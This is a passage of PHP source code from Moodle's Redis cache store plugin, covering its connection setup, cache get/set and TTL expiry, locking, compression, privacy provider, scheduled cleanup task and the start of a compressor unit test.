For further information, see Accepting Client Connections and Redis PHP clients.'; $string['test_ttl'] = 'Testing TTL'; $string['test_ttl_desc'] = 'Run the performance test using a cache that requires TTL (slower sets).'; $string['usecompressor'] = 'Use compressor'; $string['usecompressor_help'] = 'Specifies the compressor to use after serializing. It is done at Moodle Cache API level, not at php-redis level.'; $string['useserializer'] = 'Use serializer'; $string['useserializer_help'] = 'Specifies the serializer to use for serializing. The valid serializers are Redis::SERIALIZER_PHP or Redis::SERIALIZER_IGBINARY. The latter is supported only when phpredis is configured with --enable-redis-igbinary option and the igbinary extension is loaded.'; stores/redis/lib.php000064400000113344152265337610010470 0ustar00. use core_cache\configurable_cache_interface; use core_cache\definition; use core_cache\key_aware_cache_interface; use core_cache\lockable_cache_interface; use core_cache\searchable_cache_interface; use core_cache\store; use core\clock; use core\di; /** * Redis Cache Store * * To allow separation of definitions in Moodle and faster purging, each cache * is implemented as a Redis hash. That is a trade-off between having functionality of TTL * and being able to manage many caches in a single redis instance. Given the recommendation * not to use TTL if at all possible and the benefits of having many stores in Redis using the * hash configuration, the hash implementation has been used. * * @package cachestore_redis * @copyright 2013 Adam Durana * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_redis extends store implements key_aware_cache_interface, configurable_cache_interface, searchable_cache_interface, lockable_cache_interface { /** * Compressor: none. */ const COMPRESSOR_NONE = 0; /** * Compressor: PHP GZip. */ const COMPRESSOR_PHP_GZIP = 1; /** * Compressor: PHP Zstandard. */ const COMPRESSOR_PHP_ZSTD = 2; /** * @var string Suffix used on key name (for hash) to store the TTL sorted list */ const TTL_SUFFIX = '_ttl'; /** * @var int Number of items to delete from cache in one batch when expiring old TTL data. */ const TTL_EXPIRE_BATCH = 10000; /** @var int The number of seconds to wait for a connection or response from the Redis server. */ const CONNECTION_TIMEOUT = 3; /** * Name of this store. * * @var string */ protected $name; /** * The definition hash, used for hash key * * @var string */ protected $hash; /** * Flag for readiness! * * @var boolean */ protected $isready = false; /** * Cache definition for this store. * * @var definition */ protected $definition = null; /** * Connection to Redis for this store. * * @var Redis|RedisCluster */ protected $redis; /** * Serializer for this store. * * @var int */ protected $serializer = Redis::SERIALIZER_PHP; /** * Compressor for this store. * * @var int */ protected $compressor = self::COMPRESSOR_NONE; /** * The number of seconds to wait for a connection or response from the Redis server. * * @var int */ protected $connectiontimeout = self::CONNECTION_TIMEOUT; /** * Bytes read or written by last call to set()/get() or set_many()/get_many(). * * @var int */ protected $lastiobytes = 0; /** @var int Maximum number of seconds to wait for a lock before giving up. */ protected $lockwait = 60; /** @var int Timeout before lock is automatically released (in case of crashes) */ protected $locktimeout = 600; /** @var ?array Array of current locks, or null if we haven't registered shutdown function */ protected $currentlocks = null; /** @var clock */ private readonly clock $clock; /** * Determines if the requirements for this type of store are met. * * @return bool */ public static function are_requirements_met() { return class_exists('Redis'); } /** * Determines if this type of store supports a given mode. * * @param int $mode * @return bool */ public static function is_supported_mode($mode) { return ($mode === self::MODE_APPLICATION || $mode === self::MODE_SESSION); } /** * Get the features of this type of cache store. * * @param array $configuration * @return int */ public static function get_supported_features(array $configuration = array()) { // Although this plugin now supports TTL I did not add SUPPORTS_NATIVE_TTL here, because // doing so would cause Moodle to stop adding a 'TTL wrapper' to data items which enforces // the precise specified TTL. Unless the scheduled task is set to run rather frequently, // this could cause change in behaviour. Maybe later this should be reconsidered... return self::SUPPORTS_DATA_GUARANTEE + self::DEREFERENCES_OBJECTS + self::IS_SEARCHABLE; } /** * Get the supported modes of this type of cache store. * * @param array $configuration * @return int */ public static function get_supported_modes(array $configuration = array()) { return self::MODE_APPLICATION + self::MODE_SESSION; } /** * Constructs an instance of this type of store. * * @param string $name * @param array $configuration */ public function __construct( $name, array $configuration = [], ) { $this->name = $name; if (!array_key_exists('server', $configuration) || empty($configuration['server'])) { return; } if (array_key_exists('serializer', $configuration)) { $this->serializer = (int)$configuration['serializer']; } if (array_key_exists('compressor', $configuration)) { $this->compressor = (int)$configuration['compressor']; } if (array_key_exists('connectiontimeout', $configuration)) { $this->connectiontimeout = (int)$configuration['connectiontimeout']; } if (array_key_exists('lockwait', $configuration)) { $this->lockwait = (int)$configuration['lockwait']; } if (array_key_exists('locktimeout', $configuration)) { $this->locktimeout = (int)$configuration['locktimeout']; } $this->redis = $this->new_redis($configuration); $this->clock = di::get(clock::class); } /** * Create a new Redis or RedisCluster instance and connect to the server. * * @param array $configuration The redis instance configuration. * @return Redis|RedisCluster|null */ protected function new_redis(array $configuration): Redis|RedisCluster|null { $encrypt = (bool) ($configuration['encryption'] ?? false); $clustermode = (bool) ($configuration['clustermode'] ?? false); $password = !empty($configuration['password']) ? $configuration['password'] : ''; // Set Redis server(s). $servers = explode("\n", $configuration['server']); $trimmedservers = []; foreach ($servers as $server) { $server = strtolower(trim($server)); if (!empty($server)) { if ($server[0] === '/' || str_starts_with($server, 'unix://')) { $port = 0; $trimmedservers[] = $server; } else { $port = 6379; // No Unix socket so set default port. if (strpos($server, ':')) { // Check for custom port. list($server, $port) = explode(':', $server); } if (!$clustermode && $encrypt) { $server = 'tls://' . $server; } $trimmedservers[] = $server.':'.$port; } // We only need the first record for the single redis. if (!$clustermode) { // Handle the case when the server is not a Unix domain socket. if ($port !== 0) { // We only need the first record for the single redis. $serverchunks = explode(':', $trimmedservers[0]); // Get the last chunk as the port. $port = array_pop($serverchunks); // Combine the rest of the chunks back into a string as the server. $server = implode(':', $serverchunks); } break; } } } // TLS/SSL Configuration. $exceptionclass = $clustermode ? 'RedisClusterException' : 'RedisException'; $opts = []; if ($encrypt) { $opts = empty($configuration['cafile']) ? ['verify_peer' => false, 'verify_peer_name' => false] : ['cafile' => $configuration['cafile']]; // For a single (non-cluster) Redis, the TLS/SSL config must be added to the 'stream' key. if (!$clustermode) { $opts['stream'] = $opts; } } // Connect to redis. $redis = null; try { // Create a $redis object of a RedisCluster or Redis class. $phpredisversion = phpversion('redis'); if ($clustermode) { if (version_compare($phpredisversion, '6.0.0', '>=')) { // Named parameters are fully supported starting from version 6.0.0. $redis = new RedisCluster( name: null, seeds: $trimmedservers, timeout: $this->connectiontimeout, // Timeout. read_timeout: $this->connectiontimeout, // Read timeout. persistent: true, auth: $password, context: !empty($opts) ? $opts : null, ); } else { $redis = new RedisCluster( null, $trimmedservers, $this->connectiontimeout, $this->connectiontimeout, true, $password, !empty($opts) ? $opts : null, ); } } else { $redis = new Redis(); if (version_compare($phpredisversion, '6.0.0', '>=')) { // Named parameters are fully supported starting from version 6.0.0. $redis->connect( host: $server, port: $port, timeout: $this->connectiontimeout, // Timeout. retry_interval: 100, // Retry interval. read_timeout: $this->connectiontimeout, // Read timeout. context: $opts, ); } else { $redis->connect( $server, $port, $this->connectiontimeout, null, 100, $this->connectiontimeout, $opts, ); } if (!empty($password)) { $redis->auth($password); } } // In case of a TLS connection, // if phpredis client does not communicate immediately with the server the connection hangs. // See https://github.com/phpredis/phpredis/issues/2332. if ($encrypt && !$redis->ping('Ping')) { throw new $exceptionclass("Ping failed"); } // If using compressor, serialisation will be done at cachestore level, not php-redis. if ($this->compressor === self::COMPRESSOR_NONE) { $redis->setOption(Redis::OPT_SERIALIZER, $this->serializer); } // Set the prefix. $prefix = !empty($configuration['prefix']) ? $configuration['prefix'] : ''; if (!empty($prefix)) { $redis->setOption(Redis::OPT_PREFIX, $prefix); } $this->isready = true; } catch (RedisException | RedisClusterException $e) { $server = $clustermode ? implode(',', $trimmedservers) : $server.':'.$port; debugging("Failed to connect to Redis at {$server}, the error returned was: {$e->getMessage()}"); $this->isready = false; } return $redis; } /** * See if we can ping Redis server * * @param RedisCluster|Redis $redis * @return bool */ protected function ping(RedisCluster|Redis $redis): bool { try { if ($redis->ping() === false) { return false; } } catch (Exception $e) { return false; } return true; } /** * Get the name of the store. * * @return string */ public function my_name() { return $this->name; } /** * Initialize the store. * * @param definition $definition * @return bool */ public function initialise(definition $definition) { $this->definition = $definition; $this->hash = $definition->generate_definition_hash(); return true; } /** * Determine if the store is initialized. * * @return bool */ public function is_initialised() { return ($this->definition !== null); } /** * Determine if the store is ready for use. * * @return bool */ public function is_ready() { return $this->isready; } /** * Get the value associated with a given key. * * @param string $key The key to get the value of. * @return mixed The value of the key, or false if there is no value associated with the key. */ public function get($key) { $value = $this->redis->hGet($this->hash, $key); if ($this->compressor == self::COMPRESSOR_NONE) { return $value; } // When using compression, values are always strings, so strlen will work. $this->lastiobytes = strlen($value); return $this->uncompress($value); } /** * Get the values associated with a list of keys. * * @param array $keys The keys to get the values of. * @return array An array of the values of the given keys. */ public function get_many($keys) { $values = $this->redis->hMGet($this->hash, $keys) ?: []; if ($this->compressor == self::COMPRESSOR_NONE) { return $values; } $this->lastiobytes = 0; foreach ($values as &$value) { $this->lastiobytes += strlen($value); $value = $this->uncompress($value); } return $values; } /** * Gets the number of bytes read from or written to cache as a result of the last action. * * If compression is not enabled, this function always returns IO_BYTES_NOT_SUPPORTED. The reason is that * when compression is not enabled, data sent to the cache is not serialized, and we would * need to serialize it to compute the size, which would have a significant performance cost. * * @return int Bytes read or written * @since Moodle 4.0 */ public function get_last_io_bytes(): int { if ($this->compressor != self::COMPRESSOR_NONE) { return $this->lastiobytes; } else { // Not supported unless compression is on. return parent::get_last_io_bytes(); } } /** * Set the value of a key. * * @param string $key The key to set the value of. * @param mixed $value The value. * @return bool True if the operation succeeded, false otherwise. */ public function set($key, $value) { if ($this->compressor != self::COMPRESSOR_NONE) { $value = $this->compress($value); $this->lastiobytes = strlen($value); } if ($this->redis->hSet($this->hash, $key, $value) === false) { return false; } if ($this->definition->get_ttl()) { // When TTL is enabled, we also store the key name in a list sorted by the current time. $this->redis->zAdd($this->hash . self::TTL_SUFFIX, [], self::get_time(), $key); // The return value to the zAdd function never indicates whether the operation succeeded // (it returns zero when there was no error if the item is already in the list) so we // ignore it. } return true; } /** * Set the values of many keys. * * @param array $keyvaluearray An array of key/value pairs. Each item in the array is an associative array * with two keys, 'key' and 'value'. * @return int The number of key/value pairs successfuly set. */ public function set_many(array $keyvaluearray) { $pairs = []; $usettl = false; if ($this->definition->get_ttl()) { $usettl = true; $ttlparams = []; $now = self::get_time(); } $this->lastiobytes = 0; foreach ($keyvaluearray as $pair) { $key = $pair['key']; if ($this->compressor != self::COMPRESSOR_NONE) { $pairs[$key] = $this->compress($pair['value']); $this->lastiobytes += strlen($pairs[$key]); } else { $pairs[$key] = $pair['value']; } if ($usettl) { // When TTL is enabled, we also store the key names in a list sorted by the current // time. $ttlparams[] = $now; $ttlparams[] = $key; } } if ($usettl && count($ttlparams) > 0) { // Store all the key values with current time. $this->redis->zAdd($this->hash . self::TTL_SUFFIX, [], ...$ttlparams); // The return value to the zAdd function never indicates whether the operation succeeded // (it returns zero when there was no error if the item is already in the list) so we // ignore it. } if ($this->redis->hMSet($this->hash, $pairs)) { return count($pairs); } return 0; } /** * Delete the given key. * * @param string $key The key to delete. * @return bool True if the delete operation succeeds, false otherwise. */ public function delete($key) { $ok = true; if (!$this->redis->hDel($this->hash, $key)) { $ok = false; } if ($this->definition->get_ttl()) { // When TTL is enabled, also remove the key from the TTL list. $this->redis->zRem($this->hash . self::TTL_SUFFIX, $key); } return $ok; } /** * Delete many keys. * * @param array $keys The keys to delete. * @return int The number of keys successfully deleted. */ public function delete_many(array $keys) { // If there are no keys to delete, do nothing. if (!$keys) { return 0; } $count = $this->redis->hDel($this->hash, ...$keys); if ($this->definition->get_ttl()) { // When TTL is enabled, also remove the keys from the TTL list. $this->redis->zRem($this->hash . self::TTL_SUFFIX, ...$keys); } return $count; } /** * Purges all keys from the store. * * @return bool */ public function purge() { if ($this->definition->get_ttl()) { // Purge the TTL list as well. $this->redis->del($this->hash . self::TTL_SUFFIX); // According to documentation, there is no error return for the 'del' command (it // only returns the number of keys deleted, which could be 0 or 1 in this case) so we // do not need to check the return value. } return ($this->redis->del($this->hash) !== false); } /** * Cleans up after an instance of the store. */ public function instance_deleted() { $this->redis->close(); unset($this->redis); } /** * Determines if the store has a given key. * * @see key_aware_cache_interface * @param string $key The key to check for. * @return bool True if the key exists, false if it does not. */ public function has($key) { return !empty($this->redis->hExists($this->hash, $key)); } /** * Determines if the store has any of the keys in a list. * * @see key_aware_cache_interface * @param array $keys The keys to check for. * @return bool True if any of the keys are found, false none of the keys are found. */ public function has_any(array $keys) { foreach ($keys as $key) { if ($this->has($key)) { return true; } } return false; } /** * Determines if the store has all of the keys in a list. * * @see key_aware_cache_interface * @param array $keys The keys to check for. * @return bool True if all of the keys are found, false otherwise. */ public function has_all(array $keys) { foreach ($keys as $key) { if (!$this->has($key)) { return false; } } return true; } /** * Tries to acquire a lock with a given name. * * @see lockable_cache_interface * @param string $key Name of the lock to acquire. * @param string $ownerid Information to identify owner of lock if acquired. * @return bool True if the lock was acquired, false if it was not. */ public function acquire_lock($key, $ownerid) { $timelimit = $this->clock->time() + $this->lockwait; $startlocktime = $this->clock->time(); do { // Lock already exists, wait 1 second then retry. $haslock = $this->redis->set($key, $ownerid, ['nx', 'ex' => $this->locktimeout]); if (!$haslock) { if ($this->clock->time() < $startlocktime + 5) { // We want a random delay to stagger the polling load. Ideally, this delay should be a fraction // of the average response time. If it is too small we will poll too much and if it is too // large we will waste time waiting for no reason. 100ms is the default starting point. $delay = rand(100, 110); } else { // If we don't get a lock within 5 seconds then there must be a very long-lived process holding the lock // so throttle back to just polling roughly once a second. $delay = rand(1000, 1100); } usleep($delay * 1000); continue; } // If we haven't got it already, better register a shutdown function. if ($this->currentlocks === null) { core_shutdown_manager::register_function([$this, 'shutdown_release_locks']); $this->currentlocks = []; } $this->currentlocks[$key] = $ownerid; return true; } while ($this->clock->time() < $timelimit); return false; } /** * Releases any locks when the system shuts down, in case there is a crash or somebody forgets * to use 'try-finally'. * * Do not call this function manually (except from unit test). */ public function shutdown_release_locks() { foreach ($this->currentlocks as $key => $ownerid) { debugging('Automatically releasing Redis cache lock: ' . $key . ' (' . $ownerid . ') - did somebody forget to call release_lock()?', DEBUG_DEVELOPER); $this->release_lock($key, $ownerid); } } /** * Checks a lock with a given name and owner information. * * @see lockable_cache_interface * @param string $key Name of the lock to check. * @param string $ownerid Owner information to check existing lock against. * @return mixed True if the lock exists and the owner information matches, null if the lock does not * exist, and false otherwise. */ public function check_lock_state($key, $ownerid) { $result = $this->redis->get($key); if ($result === (string)$ownerid) { return true; } if ($result === false) { return null; } return false; } /** * Finds all of the keys being used by this cache store instance using a scan. * This is preferred over keys to avoid blocking the server for a long time. * * @param string $prefix * @return array of all matching keys in the hash as a numbered array. */ protected function scan_keys($prefix = '') { $return = []; $iterator = null; do { $results = $this->redis->hScan($this->hash, $iterator, "$prefix*", 1000); if ($results !== false) { foreach ($results as $key => $value) { $return[] = $key; } } } while ($iterator != 0); return $return; } /** * Finds all of the keys being used by this cache store instance. * * @return array of all keys in the hash as a numbered array. */ public function find_all() { return $this->scan_keys(); } /** * Finds all of the keys whose keys start with the given prefix. * * @param string $prefix * * @return array List of keys that match this prefix. */ public function find_by_prefix($prefix) { return $this->scan_keys($prefix); } /** * Releases a given lock if the owner information matches. * * @see lockable_cache_interface * @param string $key Name of the lock to release. * @param string $ownerid Owner information to use. * @return bool True if the lock is released, false if it is not. */ public function release_lock($key, $ownerid) { if ($this->check_lock_state($key, $ownerid)) { unset($this->currentlocks[$key]); return ($this->redis->del($key) !== false); } return false; } /** * Runs TTL expiry process for this cache. * * This is not part of the standard cache API and is intended for use by the scheduled task * \cachestore_redis\ttl. * * @return array Various keys with information about how the expiry went */ public function expire_ttl(): array { $ttl = $this->definition->get_ttl(); if (!$ttl) { throw new \coding_exception('Cache definition ' . $this->definition->get_id() . ' does not use TTL'); } $limit = self::get_time() - $ttl; $count = 0; $batches = 0; $timebefore = microtime(true); $memorybefore = $this->store_total_size(); do { $keys = $this->redis->zRangeByScore($this->hash . self::TTL_SUFFIX, 0, $limit, ['limit' => [0, self::TTL_EXPIRE_BATCH]]); $this->delete_many($keys); $count += count($keys); $batches++; } while (count($keys) === self::TTL_EXPIRE_BATCH); $memoryafter = $this->store_total_size(); $timeafter = microtime(true); $result = ['keys' => $count, 'batches' => $batches, 'time' => $timeafter - $timebefore]; if ($memorybefore !== null) { $result['memory'] = $memorybefore - $memoryafter; } return $result; } /** * Gets the current time for TTL functionality. This wrapper makes it easier to unit-test * the TTL behaviour. * * @return int Current time */ protected static function get_time(): int { global $CFG; if (PHPUNIT_TEST && !empty($CFG->phpunit_cachestore_redis_time)) { return $CFG->phpunit_cachestore_redis_time; } return time(); } /** * Sets the current time (within unit test) for TTL functionality. * * This setting is stored in $CFG so will be automatically reset if you use resetAfterTest. * * @param int $time Current time (set 0 to start using real time). */ public static function set_phpunit_time(int $time = 0): void { global $CFG; if (!PHPUNIT_TEST) { throw new \coding_exception('Function only available during unit test'); } if ($time) { $CFG->phpunit_cachestore_redis_time = $time; } else { unset($CFG->phpunit_cachestore_redis_time); } } /** * Estimates the stored size, taking into account whether compression is turned on. * * @param mixed $key Key name * @param mixed $value Value * @return int Approximate stored size */ public function estimate_stored_size($key, $value): int { if ($this->compressor == self::COMPRESSOR_NONE) { // If uncompressed, use default estimate. return parent::estimate_stored_size($key, $value); } else { // If compressed, compress value. return strlen($this->serialize($key)) + strlen($this->compress($value)); } } /** * Gets Redis reported memory usage. * * @return int|null Memory used by Redis or null if we don't know */ public function store_total_size(): ?int { try { $details = $this->redis->info('MEMORY'); } catch (RedisException $e) { return null; } if (empty($details['used_memory'])) { return null; } else { return (int)$details['used_memory']; } } /** * Creates a configuration array from given 'add instance' form data. * * @see configurable_cache_interface * * @param stdClass $data * @return array */ public static function config_get_configuration_array($data) { return array( 'server' => $data->server, 'prefix' => $data->prefix, 'password' => $data->password, 'serializer' => $data->serializer, 'compressor' => $data->compressor, 'connectiontimeout' => $data->connectiontimeout, 'encryption' => $data->encryption, 'cafile' => $data->cafile, 'clustermode' => $data->clustermode, ); } /** * Sets form data from a configuration array. * * @see configurable_cache_interface * @param moodleform $editform * @param array $config */ public static function config_set_edit_form_data(moodleform $editform, array $config) { $data = array(); $data['server'] = $config['server']; $data['prefix'] = !empty($config['prefix']) ? $config['prefix'] : ''; $data['password'] = !empty($config['password']) ? $config['password'] : ''; if (!empty($config['serializer'])) { $data['serializer'] = $config['serializer']; } if (!empty($config['compressor'])) { $data['compressor'] = $config['compressor']; } if (!empty($config['connectiontimeout'])) { $data['connectiontimeout'] = $config['connectiontimeout']; } if (!empty($config['encryption'])) { $data['encryption'] = $config['encryption']; } if (!empty($config['cafile'])) { $data['cafile'] = $config['cafile']; } if (!empty($config['clustermode'])) { $data['clustermode'] = $config['clustermode']; } $editform->set_data($data); } /** * Creates an instance of the store for testing. * * @param definition $definition * @return mixed An instance of the store, or false if an instance cannot be created. */ public static function initialise_test_instance(definition $definition) { if (!self::are_requirements_met()) { return false; } $config = get_config('cachestore_redis'); if (empty($config->test_server)) { return false; } $configuration = array('server' => $config->test_server); if (!empty($config->test_serializer)) { $configuration['serializer'] = $config->test_serializer; } if (!empty($config->test_password)) { $configuration['password'] = $config->test_password; } if (!empty($config->test_encryption)) { $configuration['encryption'] = $config->test_encryption; } if (!empty($config->test_cafile)) { $configuration['cafile'] = $config->test_cafile; } if (!empty($config->test_clustermode)) { $configuration['clustermode'] = $config->test_clustermode; } // Make it possible to test TTL performance by hacking a copy of the cache definition. if (!empty($config->test_ttl)) { $definition = clone $definition; $property = (new ReflectionClass($definition))->getProperty('ttl'); $property->setValue($definition, 999); } $cache = new cachestore_redis('Redis test', $configuration); $cache->initialise($definition); return $cache; } /** * Return configuration to use when unit testing. * * @return array */ public static function unit_test_configuration() { global $DB; if (!self::are_requirements_met() || !self::ready_to_be_used_for_testing()) { throw new moodle_exception('TEST_CACHESTORE_REDIS_TESTSERVERS not configured, unable to create test configuration'); } return ['server' => TEST_CACHESTORE_REDIS_TESTSERVERS, 'prefix' => $DB->get_prefix(), 'encryption' => defined('TEST_CACHESTORE_REDIS_ENCRYPT') && TEST_CACHESTORE_REDIS_ENCRYPT, ]; } /** * Returns true if this cache store instance is both suitable for testing, and ready for testing. * * When TEST_CACHESTORE_REDIS_TESTSERVERS is set, then we are ready to be use d for testing. * * @return bool */ public static function ready_to_be_used_for_testing() { return defined('TEST_CACHESTORE_REDIS_TESTSERVERS'); } /** * Gets an array of options to use as the serialiser. * @return array */ public static function config_get_serializer_options() { $options = array( Redis::SERIALIZER_PHP => get_string('serializer_php', 'cachestore_redis') ); if (defined('Redis::SERIALIZER_IGBINARY')) { $options[Redis::SERIALIZER_IGBINARY] = get_string('serializer_igbinary', 'cachestore_redis'); } return $options; } /** * Gets an array of options to use as the compressor. * * @return array */ public static function config_get_compressor_options() { $arr = [ self::COMPRESSOR_NONE => get_string('compressor_none', 'cachestore_redis'), self::COMPRESSOR_PHP_GZIP => get_string('compressor_php_gzip', 'cachestore_redis'), ]; // Check if the Zstandard PHP extension is installed. if (extension_loaded('zstd')) { $arr[self::COMPRESSOR_PHP_ZSTD] = get_string('compressor_php_zstd', 'cachestore_redis'); } return $arr; } /** * Compress the given value, serializing it first. * * @param mixed $value * @return string */ private function compress($value) { $value = $this->serialize($value); switch ($this->compressor) { case self::COMPRESSOR_NONE: return $value; case self::COMPRESSOR_PHP_GZIP: return gzencode($value); case self::COMPRESSOR_PHP_ZSTD: return zstd_compress($value); default: debugging("Invalid compressor: {$this->compressor}"); return $value; } } /** * Uncompresses (deflates) the data, unserialising it afterwards. * * @param string $value * @return mixed */ private function uncompress($value) { if ($value === false) { return false; } switch ($this->compressor) { case self::COMPRESSOR_NONE: break; case self::COMPRESSOR_PHP_GZIP: $value = gzdecode($value); break; case self::COMPRESSOR_PHP_ZSTD: $value = zstd_uncompress($value); break; default: debugging("Invalid compressor: {$this->compressor}"); } return $this->unserialize($value); } /** * Serializes the data according to the configured serializer. * * @param mixed $value * @return string */ private function serialize($value) { switch ($this->serializer) { case Redis::SERIALIZER_NONE: return $value; case Redis::SERIALIZER_PHP: return serialize($value); case defined('Redis::SERIALIZER_IGBINARY') && Redis::SERIALIZER_IGBINARY: return igbinary_serialize($value); default: debugging("Invalid serializer: {$this->serializer}"); return $value; } } /** * Unserializes the data according to the configured serializer * * @param string $value * @return mixed */ private function unserialize($value) { switch ($this->serializer) { case Redis::SERIALIZER_NONE: return $value; case Redis::SERIALIZER_PHP: return unserialize($value); case defined('Redis::SERIALIZER_IGBINARY') && Redis::SERIALIZER_IGBINARY: return igbinary_unserialize($value); default: debugging("Invalid serializer: {$this->serializer}"); return $value; } } } stores/redis/version.php000064400000002112152265337610011375 0ustar00. /** * Redis Cache Store - Version information * * @package cachestore_redis * @copyright 2013 Adam Durana * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $plugin->version = 2025041400; $plugin->requires = 2025040800; // Requires this Moodle version. $plugin->maturity = MATURITY_STABLE; $plugin->component = 'cachestore_redis'; stores/redis/classes/privacy/provider.php000064400000007545152265337610014673 0ustar00. /** * Privacy Subsystem implementation for cachestore_redis. * * @package cachestore_redis * @category privacy * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace cachestore_redis\privacy; use core_privacy\local\metadata\collection; use core_privacy\local\request\approved_contextlist; use core_privacy\local\request\approved_userlist; use core_privacy\local\request\contextlist; use core_privacy\local\request\userlist; defined('MOODLE_INTERNAL') || die(); /** * Privacy Subsystem for cachestore_redis. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class provider implements \core_privacy\local\metadata\provider, \core_privacy\local\request\plugin\provider, \core_privacy\local\request\core_userlist_provider { /** * Returns meta data about this system. * * @param collection $collection The initialised collection to add items to. * @return collection A listing of user data stored through this system. */ public static function get_metadata(collection $collection): collection { $collection->add_external_location_link('redis', [ 'data' => 'privacy:metadata:redis:data', ], 'privacy:metadata:redis'); return $collection; } /** * Get the list of contexts that contain user information for the specified user. * * @param int $userid The user to search. * @return contextlist $contextlist The contextlist containing the list of contexts used in this plugin. */ public static function get_contexts_for_userid(int $userid): contextlist { return new contextlist(); } /** * Get the list of users who have data within a context. * * @param userlist $userlist The userlist containing the list of users who have data in this context/plugin combination. */ public static function get_users_in_context(userlist $userlist) { } /** * Export all user data for the specified user, in the specified contexts. * * @param approved_contextlist $contextlist The approved contexts to export information for. */ public static function export_user_data(approved_contextlist $contextlist) { } /** * Delete all use data which matches the specified deletion_criteria. * * @param \context $context A user context. */ public static function delete_data_for_all_users_in_context(\context $context) { } /** * Delete all user data for the specified user, in the specified contexts. * * @param approved_contextlist $contextlist The approved contexts and user information to delete information for. */ public static function delete_data_for_user(approved_contextlist $contextlist) { } /** * Delete multiple users within a single context. * * @param approved_userlist $userlist The approved context and user information to delete information for. */ public static function delete_data_for_users(approved_userlist $userlist) { } } stores/redis/classes/task/ttl.php000064400000010545152265337610013123 0ustar00. namespace cachestore_redis\task; /** * Task deletes old data from Redis caches with TTL set. * * @package cachestore_redis * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class ttl extends \core\task\scheduled_task { /** @var int Only display memory savings of at least 100 KB */ const MIN_MEMORY_SIZE = 100 * 1024; /** * Gets the name of this task. * * @return string Task name */ public function get_name(): string { return get_string('task_ttl', 'cachestore_redis'); } /** * Executes the scheduled task. */ public function execute(): void { // Find all Redis cache stores. $factory = \cache_factory::instance(); $config = $factory->create_config_instance(); $stores = $config->get_all_stores(); $doneanything = false; foreach ($stores as $storename => $storeconfig) { if ($storeconfig['plugin'] !== 'redis') { continue; } // For each definition in the cache store, do TTL expiry if needed. $definitions = $config->get_definitions_by_store($storename); foreach ($definitions as $definition) { if (empty($definition['ttl'])) { continue; } if (!empty($definition['requireidentifiers'])) { // We can't make cache below if it requires identifiers. continue; } $doneanything = true; $definitionname = $definition['component'] . '/' . $definition['area']; mtrace($definitionname, ': '); \cache::make($definition['component'], $definition['area']); $definition = $factory->create_definition($definition['component'], $definition['area']); $stores = $factory->get_store_instances_in_use($definition); foreach ($stores as $store) { // These were all definitions using a Redis store but one definition may // potentially have multiple stores, we need to process the Redis ones only. if (!($store instanceof \cachestore_redis)) { continue; } $info = $store->expire_ttl(); $infotext = 'Deleted ' . $info['keys'] . ' key(s) in ' . sprintf('%0.2f', $info['time']) . 's'; // Only report memory information if available, positive, and reasonably large. // Otherwise the real information is hard to see amongst random variation etc. if (!empty($info['memory']) && $info['memory'] > self::MIN_MEMORY_SIZE) { $infotext .= ' - reported saving ' . display_size($info['memory']); } mtrace($infotext); } } } if (!$doneanything) { mtrace('No TTL caches assigned to a Redis store; nothing to do.'); } } /** * Checks if this task is allowed to run - this makes it show the 'Run now' link (or not). * * @return bool True if task can run */ public function can_run(): bool { // The default implementation of this function checks the plugin is enabled, which doesn't // seem to work (probably because cachestore plugins can't be enabled). // We could check if there is a Redis store configured, but it would have to do the exact // same logic as already in the first part of 'execute', so it's probably OK to just return // true. return true; } } stores/redis/tests/compressor_test.php000064400000025012152265337610014311 0ustar00. namespace cachestore_redis; use cachestore_redis; use core_cache\definition; use core_cache\store; require_once(__DIR__.'/../../../tests/fixtures/stores.php'); require_once(__DIR__.'/../lib.php'); /** * Redis cache test - compressor settings. * * If you wish to use these unit tests all you need to do is add the following definition to * your config.php file. * * define('TEST_CACHESTORE_REDIS_TESTSERVERS', '127.0.0.1'); * * @package cachestore_redis * @author Daniel Thee Roperto * @copyright 2018 Catalyst IT Australia {@link http://www.catalyst-au.net} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ final class compressor_test extends \advanced_testcase { /** @var null|\cachestore_redis */ protected ?cachestore_redis $store = null; #[\Override] public function setUp(): void { if (!cachestore_redis::are_requirements_met() || !defined('TEST_CACHESTORE_REDIS_TESTSERVERS')) { $this->markTestSkipped('Could not test cachestore_redis. Requirements are not met.'); } parent::setUp(); } #[\Override] protected function tearDown(): void { parent::tearDown(); if ($this->store !== null) { $this->store->purge(); $this->store = null; } } /** * Create a cachestore. * * @param int $compressor * @param int $serializer * @return cachestore_redis */ public function create_store($compressor, $serializer) { /** @var definition $definition */ $definition = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_redis', 'phpunit_test'); $config = cachestore_redis::unit_test_configuration(); $config['compressor'] = $compressor; $config['serializer'] = $serializer; $store = new cachestore_redis('Test', $config); $store->initialise($definition); $this->store = $store; return $store; } /** * It misses a value. */ public function test_it_can_miss_one(): void { $store = $this->create_store(cachestore_redis::COMPRESSOR_PHP_GZIP, \Redis::SERIALIZER_PHP); self::assertFalse($store->get('missme')); } /** * It misses many values. */ public function test_it_can_miss_many(): void { $store = $this->create_store(cachestore_redis::COMPRESSOR_PHP_GZIP, \Redis::SERIALIZER_PHP); $expected = ['missme' => false, 'missmetoo' => false]; $actual = $store->get_many(array_keys($expected)); self::assertSame($expected, $actual); } /** * It misses some values. */ public function test_it_can_miss_some(): void { $store = $this->create_store(cachestore_redis::COMPRESSOR_PHP_GZIP, \Redis::SERIALIZER_PHP); $store->set('iamhere', 'youfoundme'); $expected = ['missme' => false, 'missmetoo' => false, 'iamhere' => 'youfoundme']; $actual = $store->get_many(array_keys($expected)); self::assertSame($expected, $actual); } /** * A provider for test_works_with_different_types * * @return array */ public static function provider_for_test_it_works_with_different_types(): array { $object = new \stdClass(); $object->field = 'value'; return [ ['string', 'Abc Def'], ['string_empty', ''], ['string_binary', gzencode('some binary data')], ['int', 123], ['int_zero', 0], ['int_negative', -100], ['int_huge', PHP_INT_MAX], ['float', 3.14], ['boolean_true', true], // Boolean 'false' is not tested as it is not allowed in Moodle. ['array', [1, 'b', 3.4]], ['array_map', ['a' => 'b', 